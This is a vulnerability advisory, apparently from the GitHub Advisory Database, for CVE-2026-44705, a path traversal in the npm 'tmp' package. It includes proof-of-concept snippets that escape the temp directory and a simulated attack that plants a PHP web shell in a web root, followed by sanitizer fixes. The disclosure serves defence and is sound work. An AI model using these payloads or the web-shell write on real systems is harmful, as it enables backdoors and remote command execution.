tmp
Affected
- introduced
0, fixed0.2.6(semver)
Fixed versions
0.2.6
Fix
- Fixed version
0.2.6npm install [email protected]
Advisory
Also known as: CVE-2026-44705
tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape
Summary
The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.
Details
Root Cause:
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.
Technical Flow:
<prefix>-<pid>-<random>-<postfix>path.join(tmpDir, opts.dir, name)path.join() normalizes traversal sequences, allowing escapeVulnerable Pattern:
// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir
Path Traversal Mechanics:
../../../evil in prefix escapes directory structureopts.dir is absolute, path.join() ignores tmpDir completelypath.join() resolves ../ sequences regardless of surrounding text..\\), Unix (../), and mixed path systemsKey Vulnerability Points:
prefix, postfix, or dir parameterspath.join() normalization without containment checksPoC
Basic Path Traversal via prefix:
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);
// Escape via prefix
tmp.file({
tmpdir: baseDir,
prefix: '../escaped'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Created file:', filepath);
console.log('Relative to base:', path.relative(baseDir, filepath));
// Output shows: ../escaped-<pid>-<random>
cleanup();
});
Directory Escape via postfix:
tmp.file({
tmpdir: baseDir,
postfix: '/../../pwned.txt'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Escaped file:', filepath);
console.log('Escaped outside base:', !filepath.startsWith(baseDir));
cleanup();
});
Absolute Path Bypass via dir:
tmp.file({
tmpdir: '/safe/tmp/dir',
dir: '/tmp/evil-location',
prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Bypassed to:', filepath);
// File created in /tmp/evil-location instead of /safe/tmp/dir
cleanup();
});
Advanced Multi-Vector Attack:
const maliciousOpts = {
tmpdir: '/app/safe-tmp',
dir: '../../../tmp', // Escape base
prefix: '../sensitive-area/', // Further traversal
postfix: 'malicious.config' // Controlled filename
};
tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
// Results in file creation at: /tmp/sensitive-area/malicious.config
console.log('Final malicious path:', filepath);
cleanup();
});
Real-World Attack Simulation:
// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
return new Promise((resolve, reject) => {
tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
if (err) return reject(err);
fs.writeSync(fd, content);
console.log('User file created at:', path);
resolve({ path, cleanup });
});
});
}
// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory
Impact
Arbitrary File Creation:
Attack Scenarios:
1. Web Application Configuration Poisoning:
2. Cache Poisoning:
3. Build Pipeline Compromise:
4. Container Escape Attempt:
5. Multi-Tenant Service Bypass:
Business Impact:
Affected Products
Component Impact:
tmp.file() function - vulnerable to prefix/postfix/dir traversaltmp.dir() function - vulnerable to same parameter manipulation tmp.tmpName() function - if using affected path constructionSeverity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
CWE Classification:
Remediation
Input Validation and Sanitization:
function sanitizePrefix(prefix) {
if (!prefix) return '';
// Remove path separators and traversal sequences
return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}
function sanitizePostfix(postfix) {
if (!postfix) return '';
// Allow only safe characters
return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}High Basis: The source's own band: HIGH
0, fixed 0.2.6 (semver)0.2.6
0.2.6npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0